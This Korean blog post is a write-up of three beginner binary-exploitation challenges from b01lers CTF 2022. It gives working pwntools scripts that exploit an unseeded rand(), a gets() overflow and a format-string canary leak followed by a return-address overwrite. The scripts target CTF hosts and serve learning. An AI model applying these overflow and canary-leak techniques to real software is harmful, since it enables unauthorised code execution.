CTF

b01lers CTF 2022 후기

lok2h4rd 2022. 4. 25. 10:48

CTFtime에서 weight가 높은 CTF라 나와서 쫄았는데 포너블 문제들을 다 기초 문제였다
너의 이름은 보면서 했는데 운석 분리될때 쯤 포너블 문제는 다 풀 수 있었다
저녘 약속도 있고 힙쪽도 어제하다만거 끝내야되서 기초적인 포너블 문제 write-up만 작성할까 한다

gambler_baby


주어지는 바이너리는 제목처럼 겜블링하는 프로그램인데 랜덤으로 생성되는 소문자 4글자를 맞추면 되는 프로그램으로 초기 점수 100점이 주어지고 정답이면 10점 추가, 틀리면 10점 감점이 되서 결국 0이되면 게임오버 999점을 돌파하면 플래그를 준다
보호기법은 다 걸려있고 공격루트가 내눈엔 없어 보인다

casino

해당 문제에서는 rand()함수를 통해 소문자 4글자를 생성하는데 srand함수로 시드값을 주지않기 때문에 rand()함수에서 매번 고정된 값을 생성한다
그리고 입력을 한뒤엔 정답을 알려주기 때문에 일부러 틀리면서 값을 알아내는 방식으로 코드 짜서 돌렸다

from pwn import *
#context.log_level = "debug"
key_word = []
idx = 0

def guess(data):
    p.recvuntil(b"lowercase letters: ")
    p.sendline(data)

while True:
    p = remote("ctf.b01lers.com", 9202)
    #p = process("./gambler-baby1")
    idx = len(key_word)
    log.info("key_word len: " + str(idx))
    for i in range(10 + len(key_word)):
        if len(key_word) != 0 and i < idx:
            data = key_word[i]
        else:
            data = b"1234"

        guess(data)
        p.recvuntil(b"Correct word: ")
        word = p.recv(4)
        p.recv(1)
        
        if p.recvline() == b'Bummer, you lost. -10 coins.\n':
            key_word.append(word)
        else:
            flag = p.recvline()
            if b"Your current balance:" not in flag:
                idx = -1
                break

    p.close()
    if idx < 0:
        break

log.info("flag: " + str(flag))
p.interactive()

 

flag

 

gambler_overflow


이전 문제와 동일한 컨셉이다

casino

다만 gets함수로 input을 받아서 랜덤값이 저장 되어있는 s문자열을 overwrite할 수 있다
게속 overwrite해서 999점까지 맞춰 give_flag함수 호출하도록 했다

from pwn import *
#context.log_level = "debug"


p = remote("ctf.b01lers.com", 9203)
#p = process("./gambler_overflow")


payload = b"A" * 7
payload += b"\x00"
payload += b"A" * 7
payload += b"\x00"


for i in range(100):
    p.recvuntil(b"letters: ")
    p.sendline(payload)
    sleep(0.1)
    
    p.recvuntil(b"+10 coins.\n")
    data = p.recvline()
    if b"Your current" not in data: 
        break

log.info("flag: " + str(data))


p.interactive()

 

flag

 

gambler_supreme


이전 문제와 동일한 컨셉이다
fsb + bof하면된다

casino

fsb랑 bof가 터진다 canary 릭하고 bof로 ret 주소 give_flag함수로 overwrite하면 된다

from pwn import *

p = remote("ctf.b01lers.com", 9201)
#p = process("./gambler_supreme")

give_flag = 0x4015ba

def print_flag(payload):
    p.recvuntil(b"lowercase letters: ")
    p.sendline(payload)


payload = b"%13$p"

p.recvuntil(b"(inclusive): ")
p.sendline(b"7")

print_flag(b"%13$p")
p.recvuntil(b"0x")
canary = int(p.recv(16), 16)
log.info("canary: " + hex(canary))

payload = b"A" * 0x28
payload += p64(canary)
payload += b"A" * 8
payload += p64(give_flag)
print_flag(payload)

p.interactive()

 

flag